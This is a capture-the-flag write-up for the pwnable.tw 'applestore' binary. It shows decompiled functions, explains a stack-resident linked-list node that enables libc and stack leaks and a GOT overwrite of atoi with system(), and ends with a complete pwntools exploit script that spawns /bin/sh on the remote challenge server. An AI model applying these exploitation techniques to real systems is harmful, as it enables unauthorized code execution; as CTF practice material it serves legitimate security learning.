Challenge Description
File type
bash
| 1 | $ file applestore |
| 2 | applestore: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not stripped |
Binary Protection
bash
| 1 | $ checksec applestore |
| 2 | [*] './applestore' |
| 3 | Arch: i386-32-little |
| 4 | RELRO: Partial RELRO |
| 5 | Stack: Canary found |
| 6 | NX: NX enabled |
| 7 | PIE: No PIE (0x8046000) |
| 8 | Stripped: No |
Background
applestoreis a shopping management system allowing user to interact with products and their shopping cart through these following operations:- List all available products
- Add a product into user's shopping cart
- Remove a product from shopping cart
- List all added products in shopping cart
- Checkout
plaintext
| 1 | === Menu === |
| 2 | 1: Apple Store |
| 3 | 2: Add into your shopping cart |
| 4 | 3: Remove from your shopping cart |
| 5 | 4: List your shopping cart |
| 6 | 5: Checkout |
| 7 | 6: Exit |
| 8 | > 1 |
| 9 | === Device List === |
| 10 | 1: iPhone 6 - $199 |
| 11 | 2: iPhone 6 Plus - $299 |
| 12 | 3: iPad Air 2 - $499 |
| 13 | 4: iPad Mini 3 - $399 |
| 14 | 5: iPod Touch - $199 |
| 15 | > 2 |
| 16 | Device Number> 1 |
| 17 | You've put *iPhone 6* in your shopping cart. |
| 18 | Brilliant! That's an amazing idea. |
| 19 | > 4 |
| 20 | Let me check your cart. ok? (y/n) > y |
| 21 | ==== Cart ==== |
| 22 | 1: iPhone 6 - $199 |
| 23 | > |
Here are some important functions which are responsible for those opertions:
add()function to add a product into cart
c1 unsigned int add() 2 { 3 const char **productNode; // [esp+1Ch] [ebp-2Ch] 4 char buffer[22]; // [esp+26h] [ebp-22h] BYREF 5 unsigned int canary; // [esp+3Ch] [ebp-Ch] 6 7 canary = __readgsdword(0x14u); 8 printf("Device Number> "); 9 fflush(stdout); 10 my_read((int)buffer, 21); 11 switch ( atoi(buffer) ) 12 { 13 case 1: 14 productNode = (const char **)create("iPhone 6", 199); 15 insert(productNode); 16 goto LABEL_8; 17 case 2: 18 productNode = (const char **)create("iPhone 6 Plus", 299); 19 insert(productNode); 20 goto LABEL_8; 21 case 3: 22 productNode = (const char **)create("iPad Air 2", 499); 23 insert(productNode); 24 goto LABEL_8; 25 case 4: 26 productNode = (const char **)create("iPad Mini 3", 399); 27 insert(productNode); 28 goto LABEL_8; 29 case 5: 30 productNode = (const char **)create("iPod Touch", 199); 31 insert(productNode); 32 LABEL_8: 33 printf("You've put *%s* in your shopping cart.\n", *productNode); 34 puts("Brilliant! That's an amazing idea."); 35 break; 36 default: 37 puts("Stop doing that. Idiot!"); 38 break; 39 } 40 return __readgsdword(0x14u) ^ canary; 41 } delete()function to remove a product from cart
c1 unsigned int delete() 2 { 3 int currentIndex; // [esp+10h] [ebp-38h] 4 int currentPtr; // [esp+14h] [ebp-34h] 5 int targetIndex; // [esp+18h] [ebp-30h] 6 int nextPtr; // [esp+1Ch] [ebp-2Ch] 7 int previousPtr; // [esp+20h] [ebp-28h] 8 char buffer[22]; // [esp+26h] [ebp-22h] BYREF 9 unsigned int canary; // [esp+3Ch] [ebp-Ch] 10 11 canary = __readgsdword(0x14u); 12 currentIndex = 1; 13 currentPtr = dword_804B070; // (*myCart).next 14 printf("Item Number> "); 15 fflush(stdout); 16 my_read((int)buffer, 21); 17 targetIndex = atoi(buffer); 18 while ( currentPtr ) 19 { 20 if ( currentIndex == targetIndex ) 21 { 22 nextPtr = *(_DWORD *)(currentPtr + 8); 23 previousPtr = *(_DWORD *)(currentPtr + 12); 24 if ( previousPtr ) 25 *(_DWORD *)(previousPtr + 8) = nextPtr; 26 if ( nextPtr ) 27 *(_DWORD *)(nextPtr + 12) = previousPtr; 28 printf("Remove %d:%s from your shopping cart.\n", currentIndex, *(const char **)currentPtr); 29 return __readgsdword(0x14u) ^ canary; 30 } 31 ++currentIndex; 32 currentPtr = *(_DWORD *)(currentPtr + 8); 33 } 34 return __readgsdword(0x14u) ^ canary; 35 } cart()function to list all added products in cart
c1 int cart() 2 { 3 int index; // eax 4 int currentIndex; // [esp+18h] [ebp-30h] 5 int totalPrice; // [esp+1Ch] [ebp-2Ch] 6 int i; // [esp+20h] [ebp-28h] 7 char buffer[22]; // [esp+26h] [ebp-22h] BYREF 8 unsigned int canary; // [esp+3Ch] [ebp-Ch] 9 10 canary = __readgsdword(0x14u); 11 currentIndex = 1; 12 totalPrice = 0; 13 printf("Let me check your cart. ok? (y/n) > "); 14 fflush(stdout); 15 my_read((int)buffer, 21); 16 if ( buffer[0] == 'y' ) 17 { 18 puts("==== Cart ===="); 19 for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) ) 20 { 21 index = currentIndex++; 22 printf("%d: %s - $%d\n", index, *(const char **)i, *(_DWORD *)(i + 4)); 23 totalPrice += *(_DWORD *)(i + 4); 24 } 25 } 26 return totalPrice; 27 } checkout()function to checkout the cart
c1 unsigned int checkout() 2 { 3 int totalPrice; // [esp+10h] [ebp-28h] 4 _DWORD *productName; // [esp+18h] [ebp-20h] BYREF 5 int price; // [esp+1Ch] [ebp-1Ch] 6 unsigned int canary; // [esp+2Ch] [ebp-Ch] 7 8 canary = __readgsdword(0x14u); 9 totalPrice = cart(); 10 if ( totalPrice == 7174 ) 11 { 12 puts("*: iPhone 8 - $1"); 13 asprintf(&productName, "%s", "iPhone 8"); 14 price = 1; 15 insert((int)&productName); 16 totalPrice = 7175; 17 } 18 printf("Total: $%d\n", totalPrice); 19 puts("Want to checkout? Maybe next time!"); 20 return __readgsdword(0x14u) ^ canary; 21 } The special thing is that this program manages your cart through a Double Linked List. Each node is about a product added to cart. That structure can be shown by
structin C code:
c
| 1 | struct Node { |
| 2 | char *productName; |
| 3 | int price; |
| 4 | struct Node *next; |
| 5 | struct Node *previous; |
| 6 | }; |
This
Nodestruct is controlled by 2 functions:create()function which dynamically allocates a newNode
c1 _DWORD *__cdecl create(const char *productName, int price) 2 { 3 _DWORD *ptr; // [esp+1Ch] [ebp-Ch] 4 5 ptr = (_DWORD *)malloc(16); 6 ptr[1] = price; 7 asprintf(ptr, "%s", productName); 8 ptr[2] = 0; 9 ptr[3] = 0; 10 return ptr; 11 } insert()function which inserts a Node into an existed Double Linked List
c1 int __cdecl insert(int productNode) 2 { 3 int result; // eax 4 _DWORD *i; // [esp+Ch] [ebp-4h] 5 6 for ( i = &myCart; i[2]; i = (_DWORD *)i[2] ) 7 ; 8 i[2] = productNode; 9 result = productNode; 10 *(_DWORD *)(productNode + 12) = i; 11 return result; 12 }
Vulnerability
- In
checkout()function, if the total price is equal to 7174, a special node will be created and saved on stack. It then is inserted into the global Double Linked List. - When analyzing call other functions, they all have a
bufferarray ofcharand a segment ofbufferarray matchesproductNameproperty ofNode. Moreover,cart()function allow to user to input more than 1 character for confirmation. Therefore, we can leverage this vulnerability to leak memory address.
Exploitation
Create the special node
- I calculated that
7174 = 199 * 19 + 399 + 499 * 6. Therefore, I just need to perform add operation corresponding that result and then callcheckout()to create the special node.
Leak Libc
- To leak the base address of libc, we exploit the above vulnerbility, call
cart()function and input a confirmation string including the address of a function inGOTS. After the program list all products in cart with their name, it will print out the address of that libc function.
Leak Stack Address
- After having base address of libc, we evaluate the address of
environsymbol which points to an array of strings on stack containing environment variables. Do the same technique to leak libc, the program will print out the address of that array on stack and we leaked stack address.
Get Shell
- We call
delete()function to do arbitrary write, write the address inGOTSintoebpregister. So that, inhandler()function, we can do arbitrary write again into a function inGOTS. I choseatoi()function and replace with the address ofsystem()function and the/bin/shscript.
Exploit Code
python
| 1 | #!/usr/bin/env python |
| 2 | from pwn import * |
| 3 | import utils |
| 4 | |
| 5 | context.terminal = ['kitten', '@', 'launch', '--type=os-window'] |
| 6 | context.log_level = "debug" |
| 7 | context.arch = "i386" |
| 8 | |
| 9 | TARGET = "./bin/applestore" |
| 10 | LIBC = "./lib/libc_32.so.6" |
| 11 | |
| 12 | target = process(TARGET) |
| 13 | target = remote("chall.pwnable.tw", 10104) |
| 14 | # gdb.attach(target, gdbscript="break *(delete + 115)") |
| 15 | |
| 16 | exe = ELF(TARGET) |
| 17 | libc = ELF(LIBC) |
| 18 | |
| 19 | # myCart = 0x804b068 |
| 20 | |
| 21 | # 7174 = 199 * 19 + 399 + 499 * 6 |
| 22 | |
| 23 | def add(index: int): |
| 24 | target.sendafter(b"> ", b"2") |
| 25 | target.sendafter(b"Device Number> ", str(index).encode()) |
| 26 | |
| 27 | def delete(index: int, data: bytes = b""): |
| 28 | target.sendafter(b"> ", b"3") |
| 29 | target.sendafter(b"Item Number> ", str(index).encode() + data) |
| 30 | |
| 31 | def cart(confirmation: bytes = b"y"): |
| 32 | target.sendafter(b"> ", b"4") |
| 33 | target.sendafter(b"> ", confirmation) |
| 34 | |
| 35 | def checkout(): |
| 36 | target.sendafter(b"> ", b"5") |
| 37 | target.sendafter(b"> ", b"y") |
| 38 | |
| 39 | # 7174 = 199 * 19 + 399 + 499 * 6 |
| 40 | for _ in range(19): |
| 41 | add(1) |
| 42 | |
| 43 | add(4) |
| 44 | |
| 45 | for _ in range(6): |
| 46 | add(3) |
| 47 | |
| 48 | checkout() |
| 49 | |
| 50 | # Leak Libc |
| 51 | read_got = exe.got['read'] |
| 52 | payload = b"y" * 2 + p32(read_got) + b"\x00" * 12 |
| 53 | cart(payload) |
| 54 | target.recvuntil(b"27: ") |
| 55 | read_addr = u32(target.recv(4)) |
| 56 | libc.address = read_addr - libc.symbols['read'] |
| 57 | |
| 58 | # Leak Stack |
| 59 | environ_addr = libc.symbols['environ'] |
| 60 | payload = b"y" * 2 + p32(environ_addr) + b"\x00" * 12 |
| 61 | cart(payload) |
| 62 | target.recvuntil(b"27: ") |
| 63 | saved_ebp_addr = u32(target.recv(4)) - 0x104 |
| 64 | |
| 65 | offset_22_from_atoi_got = 0x804b062 |
| 66 | payload = p32(environ_addr) + b"\x00" * 4 + p32(offset_22_from_atoi_got) + p32(saved_ebp_addr - 8) |
| 67 | delete(27, payload) |
| 68 | |
| 69 | system_addr = libc.symbols['system'] |
| 70 | payload = p32(system_addr) + b"|| /bin/sh" |
| 71 | target.sendafter(b"> ", payload) |
| 72 | |
| 73 | target.interactive() |